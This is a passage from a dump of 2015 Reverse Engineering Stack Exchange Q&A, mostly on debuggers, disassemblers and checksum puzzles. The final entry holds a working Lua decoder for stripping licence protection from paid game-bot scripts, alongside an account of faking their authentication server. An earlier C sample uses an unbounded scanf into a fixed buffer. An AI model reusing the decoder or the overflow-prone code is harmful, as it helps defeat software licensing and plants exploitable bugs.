The bad news is, you won't be able to guess the original filename from the hash. All these hashes are (intended to be) one-way functions - it's easy to get the hash from the original data, but there's no way back. This is why hashes like these are used for password storage - you can verify a password by encrypting it, but you can't get at the password from the hash.

\n" }, { "Id": "9551", "CreationDate": "2015-08-04T09:16:16.803", "Body": "

I'm trying to crack winrar's password using some methods as explained below.

\n\n

Because rar uses AES-128 encryption, brute-force and dictionary attacks are useless as they would take years.\nBut, if we convert a password-protected rar file into an SFX archive

\n\n

I used w32dasm, olly dbg & pe explorer to modify these exe files.\nAll I could find are the strings like \"Extracting, CRC failed, Encrypted\" and some other things. I used several sfx archives as test files (with different passwords) and tried it through disassembly. Those hexadecimal keys are looking quite similar!

\n\n

So do I need a better disassembler or debugger?Am i on the right way or anyother way to decompile it.

\n\n

My main aim was to extract the password protected file and ensure the file is safe,I already refered this question stating that it is possible only by brute forcing the winrar file.

\n\n

Some of my win32dasm snapshots were as below :

\n\n

\"enter

\n", "Title": "Is it possible to decompile the password protected rar file?", "Tags": "|decompilation|executable|", "Answer": "
\n

Is it possible to decompile the password protected rar file?

\n
\n\n

Decompilation is for code. RAR files are data. So no, there's nothing in a RAR file to decompile.

\n\n
\n

But, if we convert a password-protected rar file into an SFX archive

\n
\n\n

Then you could decompile the SFX stub, but it still wouldn't allow you to decrypt the RAR data without the password.

\n" }, { "Id": "9558", "CreationDate": "2015-08-05T11:26:08.170", "Body": "

I'm following these steps to locate the current PHP function call as below:

\n\n
    \n

  1. Run dummy script:

    \n\n
    $ gdb -ex run --args php -r \"sleep(10);\"\n
    2. \n

  2. Pressed Ctrl+C to get back to gdb to run:

    \n\n
    (gdb) bt full\n#1  0x00007ffff6007dd4 in __sleep (seconds=0) at ../sysdeps/unix/sysv/linux/sleep.c:137\n        ts = {tv_sec = 8, tv_nsec = 306649388}\n        set = {__val = {65536, 0 <repeats 15 times>}}\n        oset = {__val = {0, 4469319, 4294967295, 8081486, 140737319884960, 140737354070488, 15761488, 15454080, 15337134, \n            140737354001040, 0, 7307048, 16048064, 206158430232, 140737488342304, 140737488342096}}\n        result = <optimized out>\n#2  0x00000000006156ef in zif_sleep ()\nNo symbol table info available.\n#3  0x00000000006ddd7b in dtrace_execute_internal ()\nNo symbol table info available.\n#4  0x000000000079dde5 in ?? ()\nNo symbol table info available.\n#5  0x0000000000717b18 in execute_ex ()\nNo symbol table info available.\n#6  0x00000000006ddc79 in dtrace_execute_ex ()\nNo symbol table info available.\n#7  0x00000000006e1b0a in zend_eval_stringl ()\nNo symbol table info available.\n#8  0x00000000006e1bf9 in zend_eval_stringl_ex ()\n...\n(gdb) frame 2\n#2  0x00000000006156ef in zif_sleep ()\n(gdb) print (char *)(executor_globals.function_state_ptr->function)->common.function_name\nAttempt to extract a component of a value that is not a structure.      \n(gdb) print (char *)(executor_globals.function_state_ptr->function)\nAttempt to extract a component of a value that is not a structure.\n(gdb) print (char *)(executor_globals)\n$2 = 0xffffffffffffcf48 <error: Cannot access memory at address 0xffffffffffffcf48>\n
    \n\n

    So it seems executor_globals symbol is not available. Is it because the binary has been optimized, I'm in the wrong frame or something else? Or I should use lldb instead?

    3. \n
\n", "Title": "How to get current PHP function name in gdb?", "Tags": "|debugging|gdb|php|", "Answer": "

According to this link, it should be possible to find the function in use with the following steps:

\n\n
    \n
  1. Attach gdb to the currently-running PHP process: gdb -p <processid>
    2. \n
  2. Load in the PHP .gdbinit file for your version of PHP (available from here)
    3. \n
  3. Use the zbacktrace command to display the currently-running PHP script
    4. \n
\n\n

For example:

\n\n
gdb -p 4584\n(gdb) source PHP_5_5/.gdbinit\n(gdb) zbacktrace\n[0xec906090] addOne() /tmp/yourscript.php:9\n
\n" }, { "Id": "9565", "CreationDate": "2015-08-06T13:20:27.090", "Body": "

I used to make maphacks for a game called Warcraft 3. I want to get back into reverse-engineering but with today's technologies (i.e. with the internet being fast enough to download data instead of it being pre-loaded) is it a lost art?

\n\n

Reverse-engineering applications and software does not interest me at all, can anyone recommend other games I might enjoy reversing? I always wanted to take a stab at reverse engineering games using the Quake engine but never got into it, could anyone recommend any tutorials?

\n\n

Also, my method usually involved writing a pure ASM DLL for injection (which just made it easier to create code caves, etc.). Would this work for other games, or are there different methods you have to go about injecting a modification?

\n", "Title": "Want to get back into reverse engineering havn't for a few years whats a good starting point for getting back into it?", "Tags": "|windows|assembly|ollydbg|x86|", "Answer": "

Have you visited the forums of these two sites?

\n\n

http://www.unknowncheats.me

\n\n

http://www.mpgh.net

\n\n

Both have dedicated reverse engineering and programming sub-forums specific to games.

\n" }, { "Id": "9567", "CreationDate": "2015-08-06T16:38:59.223", "Body": "

How can I identify the entry point of an executable in LLDB?

\n\n

In GDB, we can use the info file command, but that won't work in LLDB.

\n\n

Can anyone show me how to do that?

\n", "Title": "How to find the entry point in LLDB on OS X?", "Tags": "|osx|lldb|entry-point|", "Answer": "

You can make use of the command

\n\n
(lldb) process launch --stop-at-entry\n
\n\n

to start the program. This stops you right at the entry point. From there lldb will tell you the address as well, in case this is what you are interested in.

\n\n

If instead you were interested in the actual main function, and not the entry point, you should have a look at the related question lldb: break at start of actual code, not entrypoint

\n" }, { "Id": "9568", "CreationDate": "2015-08-06T16:44:57.420", "Body": "

I am testing a program using conditional log, I would like to display the log in bytes of length 12. So I found this website about the syntax of expression.

\n\n

So I filled something like [BYTE*12 400000] in the expression field but it turns out showing syntax error in the log view. So, how to enable the EMOD_MULTI evaluation mode?\nThank you.

\n", "Title": "What is EMOD_MULTI evaluation mode in OllyDBG?", "Tags": "|ollydbg|debugging|", "Answer": "

are you using ollydbg 2.01 (multiple expression logging is not supported in version 1.10) \nif you want to log multiple expression in ollydbg 1.10 you should look for modified command line plugin

\n\n

with that out of way the i dont get any syntax errors if used as documented

\n\n
Log data\nAddress   Message\n7C901295  INT3: [BYTE*8 1000000] = 4D, 5A, 90, 0, 3, 0, 0, 0\n7C901295  Breakpoint at ntdll.RtlInitUnicodeString\n7C901295  INT3: [char*8 1000000] = 4D (77.), 5A (90.), FFFFFF90 (-112.), 0, 3, 0, 0, 0\n7C901295  Breakpoint at ntdll.RtlInitUnicodeString\n7C901295  INT3: [dword*8 1000000] = 905A4D, 3, 4, 0FFFF, 0B8, 0, 40, 0\n7C901295  Breakpoint at ntdll.RtlInitUnicodeString\n7C901295  INT3: [word*8 1000000] = 5A4D, 90, 3, 0, 4, 0, 0FFFF, 0\n7C901295  Breakpoint at ntdll.RtlInitUnicodeString\n7C901295  INT3: [int*8 1000000] = 905A4D (9460301.), 3, 4, 0FFFF (65535.), 0B8 (184.), 0, 40 (64.), 0\n7C901295  Breakpoint at ntdll.RtlInitUnicodeString\n7C901295  INT3: [unsigned long*8 1000000] = 905A4D, 3, 4, 0FFFF, 0B8, 0, 40, 0\n7C901295  Breakpoint at ntdll.RtlInitUnicodeString\n7C901295  INT3: [DOUBLE*8 1000000] = 6.3706613826192345360e-314, 1.3906499416091109740e-309, 9.0908078834789364120e-322, 3.1620201333839778820e-322, 0.0, 0.0, 0.0, 5.0927898983166535560e-312\n7C901295  Breakpoint at ntdll.RtlInitUnicodeString\n
\n" }, { "Id": "9578", "CreationDate": "2015-08-07T22:22:56.787", "Body": "

I've been analyzing some SPI EEPROM memory, and tried to find out which Checksum algorithm has been used;

\n\n

For example I've got data: 14567D9h and checksum 187h. Assuming it's normal 16 bit check sum I've got 86h - no match, but after adding 101h it magically changes to 391h

\n\n

Another Example: 8ADh and check sum B5h with this one is normal - 16 bit checksum results with exact number: B5h (perfect match)

\n\n

I've checked it with 28 samples i was able to intercept. For some values i have to add 101h to checksum and for some it is only needed to sum it up.

\n\n

Parity check doesn't fit - if you want I can share some more data - all gathered in one excel file, and calculated. After few days of brainstorm with my friend we haven't come up with anything :/

\n\n

Maybe there is some additional part in the Algorithm, which i haven't found out yet? CRC and tonnes of other algorithms were checked - only 16 bit checksum was giving any promising results Thanks for help in advance!

\n\n

copy of my spreadsheet: Spreadsheet

\n\n

some data I've grabbed (more in spreadsheet):

\n\n
F401 84290145h\nB500 08AD0000h\nD400 5D310145h\n4000 79810145h\nB500 08AD0000h\nC100 0AB70000h\nC100 0AB70000h\n3401 F08500BEh\nE901 FE2C00BEh\nA400 01E400BFh\n2A01 0D5D00BFh\n7E00 208304D7h\nC100 0AB70000h\n
\n\n

You can read it this way:\nchecksum: 01F4 (lways 2 bytes)\nvalue: 01458429 (always 4 bytes)

\n\n

as you can see you have to switch positions of the bytes to read data properly

\n", "Title": "Determining checksum algorithm from known values", "Tags": "|memory|", "Answer": "

I came across this via manual inspection.

\n\n

Instead of treating the data like this:

\n\n
struct record {\n  uint16_t csum;  // 01f4\n  uint32_t data; // 84290145h\n};\n
\n\n

treat it like this:

\n\n
struct record {\n  uint8_t csum;    // 0xf4\n  uint8_t data[5]; // { 0x01, 0x84, 0x29, 0x01, 0x45 }\n};\n
\n\n

To calculate the checksum, just do a simple modulo-256 summation of the data bytes. This works out fine for the values you've included in your question.

\n" }, { "Id": "9579", "CreationDate": "2015-08-08T07:55:34.457", "Body": "

After installing the Capstone python module, I ran this example on a Win7x86 PC with a minor edit (added arch and mode).

\n\n

However, when attempting to use insn.regs_access(), it throws a NoneType object which is not iterable:

\n\n
enter preformatted text here\n\n  1 from capstone import *\n  2\n  3 CODE = b\"\\x8d\\x4c\\x32\\x08\\x01\\xd8\"\n  4\n  5 md = Cs(CS_ARCH_X86, CS_MODE_32)\n  6 md.detail = True\n  7\n  8 for insn in md.disasm(code, 0x1000):\n  9     print(\"%s\\t%s\" % (insn.mnemonic, insn.op_str))\n 10\n 11     (regs_read, regs_write) = insn.regs_access()\n 12\n 13     if len(regs_read) > 0:\n 14         print(\"\\n\\tRegisters read:\", end=\"\")\n 15         for r in regs_read:\n 16             print(\" %s\" %(insn.reg_name(r)))\n 17         \n 18\n 19     if len(regs_write) > 0:\n 20         print(\"\\n\\tRegisters modified:\")\n 21         for r in regs_write:\n 22             print(\" %s\" %(insn.reg_name(r)))\n
\n\n

However, I get the following:

\n\n
X:\\blah>python capTest.py\nlea    ecx, dword ptr [edx + esi + 8]\nTraceback (most recent call last):\n  File \"capTest.py\", line 11, in <module>\n   (regs_read, regs_write) = insn.regs_access()\nTypeError: 'NoneType' object is not iterable\n
\n\n

How can this be resolved?

\n", "Title": "Capstone Disassembly Engine Issue: OP_Access throws TypeError", "Tags": "|disassembly|windows|dynamic-analysis|python|disassemblers|", "Answer": "

Emailed Quynh, a member of the Capstone team. He was more than helpful!

\n\n

Compiled from next branch in msvc...msvc2012 is a prereq. works now!

\n\n

if you try to build with cygwin you'll receive an error in cs_open (exported by cs.c)

\n" }, { "Id": "9580", "CreationDate": "2015-08-08T08:09:07.400", "Body": "

REing a binary and while its running (using Windbg by the way) my (call)stack gets mangled. So I start to perform a stack trace [https://msdn.microsoft.com/en-us/library/windows/hardware/ff552143(v=vs.85).aspx].

\n\n

However, when I'm verifying various symbols/functions in the target, various instructions are paged out so I cant tell if the previous instruction was a ret or a call above it, e.g.

\n\n
kd> u fe682ae4-2 l1      //  paged out (all zeroes) unknown\nrdr!_RdrSectionInfo+0x2a:\nfe682ae2 0000             add     [eax],al\n
\n\n

I know how to reload symbols via !vad extension [https://msdn.microsoft.com/en-us/library/windows/hardware/ff552153(v=vs.85).aspx]. However, that requires me to use (live)kd.

\n\n

Is there an easier way to ensure the target application doesn't get paged out, short of disabling the pagefile?

\n\n

I've searched Google, OSRonline, Woodmann, etc. and haven't found anything helpful.

\n", "Title": "Tracing Callstack Despite Paged out Instructions", "Tags": "|windows|callstack|", "Answer": "
    \n
  1. The prompt shown is kd> so you are debugging a live kernel.
    2. \n
  2. If memory could not be accessed windbg will show ? Not 0000
    \nmaybe you actually have 0000 in the address.
    3. \n
\n\n

Did you try doing .pagein ?

\n\n

Did you try viewing the physical address !vtop 0 <virtualaddress> ?

\n\n

Here is sample of unaccessible memory:

\n\n
.fnent notepad!\nSaveFile (01004eae) notepad!SaveFile | (01005179) notepad!LoadFile   \nOffStart: 00004eae    \nProcSize: 0x2c6 kd>     \n? 4eae+140+notepad = 01004fee     \nkd> db notepad!SaveFile+0x140 l20    \n01004fee a0 90 00 01 ff 35 54 90-00 01 ff 75 08 e8 70 cf .....5T....u..p.    \n01004ffe ff ff ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ..?????????????? \n
\n\n

Notice the question marks ???? because the next page at boundary 1005000 is inaccessible.

\n\n
kd> .pagein /p 8114bc38 1005000 \nYou need to continue execution (press 'g' <enter>) for the pagein to be brought in.      \nWhen the debugger breaks in again, the page will be present.\nkd> g\nBreak instruction exception - code 80000003 (first chance)\nnt!RtlpBreakWithStatusInstruction:\n804e35a2 cc              int     3\nkd> db 1004ff0 \n01004ff0  00 01 ff 35 54 90 00 01-ff 75 08 e8 70 cf ff ff  ...5T....u..p...\n01005000  83 f8 02 0f 84 a9 00 00-00 33 ff 53 ff 75 10 57  .........3.S.u.W\n01005010  ff 75 f8 ff 35 80 a4 00-01 e8 7b fb ff ff eb 78  .u..5.....{....x\n
\n" }, { "Id": "9582", "CreationDate": "2015-08-08T12:22:39.297", "Body": "

I'm trying to debug the binary which is not executable.

\n\n

As sample I'm using /bin/true with 644 permission:

\n\n
install -m 644 /bin/true .\n
\n\n

and I'm trying to run it as:

\n\n
$ lldb true\n(lldb) target create \"true\"\nCurrent executable set to 'true' (x86_64).\n(lldb) process launch\n
\n\n

But I've got the following error:

\n\n
\n

error: error: ::posix_spawnp ( pid => 29052, path = '/Foo/Bar/true', file_actions = 0x7fff5d015e98, attr = 0x7fff5d015ed8, argv = 0x7fd6396507f0, envp = 0x7fd6396512d0 ) err = Permission denied (0x0000000d)

\n
\n\n

Is it something possible using lldb without giving the executable flag to the binary?

\n", "Title": "How to debug binary which doesn't have executable flags?", "Tags": "|linux|lldb|", "Answer": "

As for workaround (per this post), on Linux the non-executable binary can be invoked by dynamic linker/loader as below:

\n\n
lldb -- /lib64/ld-linux-x86-64.so.2 foo_binary\n
\n\n

and for 32-bit version use ld-linux.so found in /lib instead.

\n" }, { "Id": "9583", "CreationDate": "2015-08-08T13:08:21.800", "Body": "

I'm using /bin/true as my sample binary (without available main method):

\n\n
$ lldb /bin/true\n(lldb) target create \"/bin/true\"\nCurrent executable set to '/bin/true' (x86_64).\n(lldb) break main\ninvalid command 'breakpoint main'\n
\n\n

Is there any universal way to run the binary and stop the debugger right after the load, so appropriate symbols can be loaded? Something equivalent on breaking on the main method (first line of the code)? Or I need to calculate the entry point manually? If so, how?

\n", "Title": "How to stop debugger right after the execution?", "Tags": "|debugging|linux|gdb|lldb|breakpoint|", "Answer": "

Binaries are usually stripped. For ELF binaries, you can check it with file command

\n\n
$ file /bin/true\n/bin/true: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, BuildID[sha1]=0x73796652ea437df8ac7b3ba1864a7ac177e27600, stripped\n
\n\n

Notice the stripped at the end of file's result. It means, among other things, that symbols have been removed, so it won't find main function.

\n\n

In order to run the binary and stop the debugger right after the load, there is some kind of universal method that should almost always work (kind of universal, not 100%)

\n\n

You have to find the entry point, retreived by this command :

\n\n
$ readelf -h /bin/true | grep \"Entry point\"\n  Entry point address:               0x401264\n
\n\n

Then load the binary into your favourite debugger (lldb, gdb, ...) and break on this address.

\n\n

lldb :

\n\n
$ lldb /bin/true\n(lldb) target create \"/bin/true\"\nCurrent executable set to '/bin/true' (x86_64).\n(lldb) br s -a 0x401264\nBreakpoint 1: address = 0x0000000000401264\n(lldb) r\n...\n(lldb)\n
\n\n

gdb :

\n\n
$ gdb -q /bin/true\nReading symbols from /bin/true...(no debugging symbols found)...done.\ngdb$ b *0x401264\nBreakpoint 1 at 0x401264\ngdb$ r\nBreakpoint 1, 0x0000000000401264 in ?? ()\ngdb$\n
\n\n

Once you've loaded your binary and your breakpoint has been triggered, you can display following instructions that will be executed this way :

\n\n

lldb :

\n\n
(lldb) x -s4 -fi -c11 $pc\n-> 0x401264:    xor    ebp,ebp\n   0x401266:    mov    r9,rdx\n   0x401269:    pop    rsi\n   0x40126a:    mov    rdx,rsp\n   0x40126d:    and    rsp,0xfffffffffffffff0\n   0x401271:    push   rax\n   0x401272:    push   rsp\n   0x401273:    mov    r8,0x403560\n   0x40127a:    mov    rcx,0x403570\n   0x401281:    mov    rdi,0x4011c0\n   0x401288:    call   0x401060 <__libc_start_main@plt>\n
\n\n

gdb :

\n\n
gdb$ x/11i $pc\n=> 0x401264:    xor    ebp,ebp\n   0x401266:    mov    r9,rdx\n   0x401269:    pop    rsi\n   0x40126a:    mov    rdx,rsp\n   0x40126d:    and    rsp,0xfffffffffffffff0\n   0x401271:    push   rax\n   0x401272:    push   rsp\n   0x401273:    mov    r8,0x403560\n   0x40127a:    mov    rcx,0x403570\n   0x401281:    mov    rdi,0x4011c0\n   0x401288:    call   0x401060 <__libc_start_main@plt>\n
\n\n

i flag means instruction, and $pc means Program Counter (equivalent of EIP/RIP for 32/64 bits architecures). You can see that __libc_start_main will be called at address 0x401288. Its man page indicates its first argument is a pointer to binary main function. 1st argument is here loaded in rdi register, meaning that main function is located at address 0x4011c0.

\n\n

You just have to finally place a breakpoint at this address (0x4011c0) and you'll be at the beginning of your binary main function.

\n\n

Further reading : How to handle stripped binaries with GDB? No source, no symbols and GDB only shows addresses?

\n\n

Good luck and have fun !

\n" }, { "Id": "10586", "CreationDate": "2015-08-08T17:24:08.413", "Body": "

In gdb, I can run automatically the binary as (as per this post):

\n\n
gdb -ex run /bin/true\n
\n\n

What's the equivalent parameter for lldb?

\n\n

This works:

\n\n
echo run | lldb /bin/true\n
\n\n

but I'd like to back to debugger console instead.

\n", "Title": "How to run automatically executable from CLI using lldb?", "Tags": "|lldb|command-line|", "Answer": "

LLDB >= 3.4 has the -o / --one-line command line option that can be used to launch your program automatically:

\n\n

lldb -o run /bin/true

\n\n

For reference here are two relevant snippets from lldb-3.6 --help:

\n\n
...\n   -o \n   --one-line \n        Tells the debugger to execute this one-line lldb command\n        after any file provided on the command line has been loaded.\n...\n  Notes:\n\n       Multiple \"-s\" and \"-o\" options can be provided.  They will be\n       processed from left to right in order, with the source files \n       and commands interleaved. \n...\n
\n\n

And for reviewing command line options in a web browser -- here's a link to the lldb-3.4 man page.

\n\n

Note that with LLDB < 3.4 (and also newer versions) you can use the -s / --source option to bootstrap commands like run -- for example:

\n\n
$ echo run > autorun\n$ lldb -s autorun -- /bin/echo arg1 arg2\n
\n" }, { "Id": "10595", "CreationDate": "2015-08-10T09:29:07.120", "Body": "

I've encountered something I can't explain. Here is the problem

\n\n
#include <stdio.h>\n#include <string.h>\n#include <stdlib.h>\nvoid ask()\n{\n    char name[64];\n    printf(\"What is your name ? \");\n    scanf(\"%s\",name);\n    printf(\"Hi %s\\n\", name);\n}\n\nint main(int argc, char* argv[])\n{\n    ask();\n    return 0;\n}\n
\n\n

Here is disassembled version :

\n\n
gdb$ disas ask\nDump of assembler code for function ask:\n   0x0804846c <+0>: push   ebp\n   0x0804846d <+1>: mov    ebp,esp\n   0x0804846f <+3>: sub    esp,0x58\n   0x08048472 <+6>: mov    DWORD PTR [esp],0x8048550\n   0x08048479 <+13>:    call   0x8048340 <printf@plt>\n   0x0804847e <+18>:    lea    eax,[ebp-0x48]\n   0x08048481 <+21>:    mov    DWORD PTR [esp+0x4],eax\n   0x08048485 <+25>:    mov    DWORD PTR [esp],0x8048565\n   0x0804848c <+32>:    call   0x8048370 <__isoc99_scanf@plt>\n   0x08048491 <+37>:    lea    eax,[ebp-0x48]\n   0x08048494 <+40>:    mov    DWORD PTR [esp+0x4],eax\n   0x08048498 <+44>:    mov    DWORD PTR [esp],0x8048568\n   0x0804849f <+51>:    call   0x8048340 <printf@plt>\n   0x080484a4 <+56>:    leave  \n   0x080484a5 <+57>:    ret    \nEnd of assembler dump.\n
\n\n

When I run it into gdb, I break on the scanf instruction to get buffer address (2nd on the stack), then I execute scanf instruction, and examine buffer address : No trace of my 0x0b

\n\n
(gdb) r < <(perl -e 'print \"\\x0bABCDE\"')\n--------------------------------------------------------------------------[regs]\n  EAX: 0x00000001  EBX: 0xB7FCDFF4  ECX: 0x00000001  EDX: 0xB7FCF354  o d I t s Z a P c \n  ESI: 0x00000000  EDI: 0x00000000  EBP: 0xBFFFF378  ESP: 0xBFFFF320  EIP: 0x08048491\n  CS: 0023  DS: 002B  ES: 002B  FS: 0000  GS: 0063  SS: 002B\n--------------------------------------------------------------------------[code]\n=> 0x8048491 <ask+37>:  lea    eax,[ebp-0x48]\n   0x8048494 <ask+40>:  mov    DWORD PTR [esp+0x4],eax\n   0x8048498 <ask+44>:  mov    DWORD PTR [esp],0x8048568\n   0x804849f <ask+51>:  call   0x8048340 <printf@plt>\n   0x80484a4 <ask+56>:  leave  \n   0x80484a5 <ask+57>:  ret    \n   0x80484a6 <main>: push   ebp\n   0x80484a7 <main+1>:  mov    ebp,esp\n--------------------------------------------------------------------------------\n\nBreakpoint 1, 0x08048491 in ask ()\ngdb$ x/4xw 0xbffff330\n0xbffff330: 0x44434241  0xb7e90045  0x0000002f  0xb7fcdff4\n
\n\n

As you can see, there is my ABCDE followed by null byte 0x00 but \\x0b won't appear. I don't understand why it's not taken into account by scanf. Same goes for 0x09 to 0x0c. But 0x01 to 0x08, 0x0e and above are working. I'm a bit lost.

\n\n

Any idea ?

\n\n

Thanks a lot.

\n\n

PS : Reason I'm posting here is because I was in front of a binary, and when I sent him bytes like 0x0b, its behavior wasn't what I expected. I reversed part of it and found that scanf was the bad guy here ... But if you think this is not appropriate for this forum, just tell me I'll move it wherever is more appropriate. Thanks !

\n", "Title": "0x09-0x0d not taken into account with scanf", "Tags": "|disassembly|memory|scanf|", "Answer": "

There is another interesting place in scanf library call when handling \\x09~\\0xd.

\n\n

You just only put \\x0b at the head of input string. If you just put \\x0b in the middle of string, and there are valid ascii(not in \\x09~\\x0d) from head to the first \\x0b, like

\n\n

AAAAAA\\x0bBBBBB

\n\n

If you execute your program again, you will find the following Bs will be abandoned or the input string will be truncated by the second valid \\x0b.

\n" }, { "Id": "10609", "CreationDate": "2015-08-11T18:05:30.857", "Body": "

I'm adapting the reko decompiler to use Capstone for its disassembler, instead of rolling my own. I'm using the .NET bindings provided by Capstone.NET.

\n\n

The strategy is to replace the old ARM disassembler with the Capstone disassembler and then run the old unit tests to make sure nothing broke. I'm at a point where most test are passing, but the opcode E1F322D1, which both the old reko disassembler and ODA disassemble to:

\n\n
 ldrsb r2, [r3, #33]!\n
\n\n

But, Capstone responds with:

\n\n
ldrsb r2,[r3,#&221]!\n
\n\n

I don't have other disassemblers handy, so I'm uncertain who to trust!

\n\n

What's the correct disassembly?

\n", "Title": "What is the correct disassembly for ARM opcode E1F322D1?", "Tags": "|disassembly|arm|", "Answer": "

IDA agrees with the first one:

\n\n

LDRSB R2, [R3,#33]!

\n\n

Capstone might be trying to display something like #0x21, which would be equivalent, but it seems that something went wrong.

\n" }, { "Id": "10613", "CreationDate": "2015-08-11T19:06:43.000", "Body": "

I have old serial communication protocol and having some trouble finding out about checksum algorithm that has been used. I've tried several CRC16 algorithms and none of them seem to work.

\n\n

Tx message format looks like:

\n\n
start(10B) + messageIndex(1B) + data(5-15B) + checksum(2B) + end(1B) \n
\n\n

Rx message has same format but only 1 data byte. Here are few examples provided (hash # added to separate the blocks; hexadecimal format):

\n\n
Tx: 82 00 00 00 01 00 00 00 ff c1 # 48 # 56 57 50 41 54 5f 30 5f 31 3d 31 # 7f 12 # 83\nRx: 82 00 00 00 ff 00 00 00 01 01 # 48 # 4f # cc 68 # 83\n\nTx: 82 00 00 00 01 00 00 00 ff c1 # 49 # 56 57 50 41 4e 5f 30 5f 32 3d 49 55 30 30 30 # f5 16 # 83\nRx: 82 00 00 00 ff 00 00 00 01 01 # 49 # 4f # 5c 69 # 83\n\nTx: 82 00 00 00 01 00 00 00 ff c1 # 4a # 56 57 50 41 54 5f 30 5f 32 3d 31 # b8 1b # 83\nRx: 82 00 00 00 ff 00 00 00 01 01 # 4a # 4f # ac 69 # 83\n\nTx: 82 00 00 00 01 00 00 00 ff c1 # 4b # 56 57 41 4b 54 50 4e 5f 30 3d 32 # 60 6f # 83\nRx: 82 00 00 00 ff 00 00 00 01 01 # 4b # 4f # 3c 68 # 83\n\nTx: 82 00 00 00 01 00 00 00 ff c1 # 4c # 56 57 50 41 4e 5f 31 5f 31 3d 49 4c 30 30 30 # 6a ec # 83\nRx: 82 00 00 00 ff 00 00 00 01 01 # 4c # 4f # 0c 6a # 83\n
\n\n

If necessary, I can provide more data. Any help or hint would be appreciated ;)

\n\n

Best regards,\nZlatko

\n\n

EDIT The correct algorithm is regular CRC16 (0x8005 polynom). Thanks booto for correct answer.

\n", "Title": "Finding out checksum algorithm", "Tags": "|decryption|serial-communication|crc|", "Answer": "

It's a big-endian CRC16 (polynomial 0x8005) of the data from the byte following the 0x82 up to and including the byte before the CRC.

\n\n

For example, for your last RX frame:

\n\n
82 00 00 00 ff 00 00 00 01 01 4c 4f 0c 6a 83\n
\n\n

The CRC16 of {0x00,0x00,0x00,0xff,0x00,0x00,0x00,0x01,0x01,0x4c,0x4f} is 0x0c6a.

\n\n

To find out this CRC algorithm, I assumed that 0x82 was a 'Start-of-Frame' marker and 0x83 was an 'End-of-Frame' marker. Then, I plugged the remaining data (sans crc field) into this on-line CRC calculation application and the emitted CRC16 looked correct.

\n\n

I, then, checked a few of the other frames you supplied and verified the CRC calculation with other sources.

\n\n

And, voila...

\n" }, { "Id": "10616", "CreationDate": "2015-08-12T18:30:59.650", "Body": "

I'm learning how to work with radare2 tool. While I am stepping through the program (on windows7) radare2 prints some lines which can be seen on the picture. It seems to me as if the tracing is enabled but in configuration variables tracing is disabled. I would like to turn off this printing but don't know how.

\n\n

\"enter

\n", "Title": "Radare2 windows unwanted lines during debugging", "Tags": "|windows|debugging|radare2|", "Answer": "

You're using an outdated version of radare2. The output you're seeing was removed from the codebase yesterday:

\n\n

\"Snippet\"

\n\n

If you update to the latest version then that output will disappear.

\n" }, { "Id": "10618", "CreationDate": "2015-08-12T20:48:37.067", "Body": "

Can anyone on here help me on decrypting the SSL encryption that protects this LUA script linked at the end of this topic ?

\n\n

Basically they are encoded with Base64 then SSL, but I have no idea how to do the SSL portion. They are used with a program called 'Bot of Legends', and someone told me that it is possible to break the encryption by dumping the decryption function of said program and using that to get the SSL key. But, I have no clue where to even start on that.

\n\n

Basically, these scripts work by connecting to an authentication server that is coded into the script, and I have gotten a few on my own by sniffing the traffic to their authentication server from network packets to get their server link and essentially created my own authentication server with Apache, then redirected the network traffic that goes to their server to my own from the script to get the script validated response.

\n\n

For some scripts that have stronger encryption, its not that easy and I would have to get to the source code to remove the coding that runs the authentication server checks. Up until a few days ago I had no knowledge on how lua coding worked and how to even compute how authentication server checks could be even possible for coding in a simple text file due to lua obfuscation.

\n\n

So, bear with me, I would like if someone can chime in and give me an idea on what I can do.

\n\n

PasteBin to the script in question in raw format.

\n\n

The Base64 section is first with the SSL section at the bottom.

\n", "Title": "Assistance in Decrypting Lua script that is obfuscated with Base64 > SSL", "Tags": "|decompilation|encryption|deobfuscation|", "Answer": "

Since it is not used anymore I'll show you :)

\n\n
print(\"SSL Decoder version 2.0\")\nprint(\"Copyright (C) 2015\")\nprint(\"Decoding Started...\")\n\nlocal infilename = select(1,...)\nlocal outfilename = select(2,...)\n\nlocal infile = io.open(infilename, \"r\")\n\nif not infile then\n  error(\"Failed to open input file.\")\nend\n\nlocal intext = infile:read(\"*a\")\n\ninfile:close()\n\nlocal ssltabletext = intext:match(\"SSL%s*%(%s*%{([%s,0-9]*)%}%s*%)\")\n\nif not ssltabletext then\n  error(\"Could not find ssl table in source file.\")\nend\n\nlocal ssltable = load(\"return {\"..ssltabletext..\"}\")()\n\nif #ssltable < 255 then\n  error(\"SSL table is too short -- can't find table encryption key.\")\nend\n\n-- find decryption key for the ssl table\nlocal decrypt = {}\n\ndecrypt[0] = 0\nfor i = 1,255 do\n  local dec = i\n  local enc = ssltable[i]\n  assert(decrypt[enc] == nil)\n  decrypt[enc] = dec\nend\n\n-- decrypt ssl table\nfor i = 256, #ssltable - 256 do -- not sure what last 256 bytes are\n  ssltable[i] = decrypt[ssltable[i] ]\nend\n\n-- If this does a stack overflow, easy to change to something dumb but more robust\nlocal sslcode = string.char(table.unpack(ssltable, 256, #ssltable - 256))\n\n-- This is interesting -- \n--print(sslcode)\n\nlocal keyindex = sslcode:match(\"local Key%s*=%s*'()\")\nif not keyindex then\n  error(\"Could not find key in decoded ssl table.\")\nend\n\nlocal key = sslcode:sub(keyindex)\n\nlocal length = 0\nwhile true do\n  local c = key:sub(length+1, length+1)\n  if c == \"\" then\n    error(\"Key string was not terminated.\")\n  elseif c == \"'\" then\n    break\n  elseif c == \"\\\\\" then\n    local c2 = key:sub(length+2, length+2)\n    if c2:match(\"%d\") then\n      local c3 = key:sub(length+3, length+3)\n      if c3:match(\"%d\") then\n        local c4 = key:sub(length+4, length+4)\n        if c4:match(\"%d\") then\n          length = length + 4\n        else\n          length = length + 3\n        end\n      else\n        length = length + 2\n      end\n    elseif c2 == \"x\" then\n      length = length + 4\n    else\n      length = length + 2\n    end\n  else\n    length = length + 1\n  end\nend\n\nkey = key:sub(1, length)\n\nif #key == 0 then\n  error(\"Key is empty\")\nend\n\nprint(\"Key Found! > \" .. key)\nprint(\"Decoding finished, outfile is at > \" .. outfilename)\n\n-- find base64\nlocal b64 = intext:match(\"_G.ScriptCode%s*=%s*Base64Decode%s*%(%s*\\\"([a-zA-Z0-9/+]*=*)\\\"%s*%)\")\nif not b64 then\n  error(\"Could not find Base-64 encrypted code in source file.\")\nend\n\n-- base64 decode\nlocal b64val 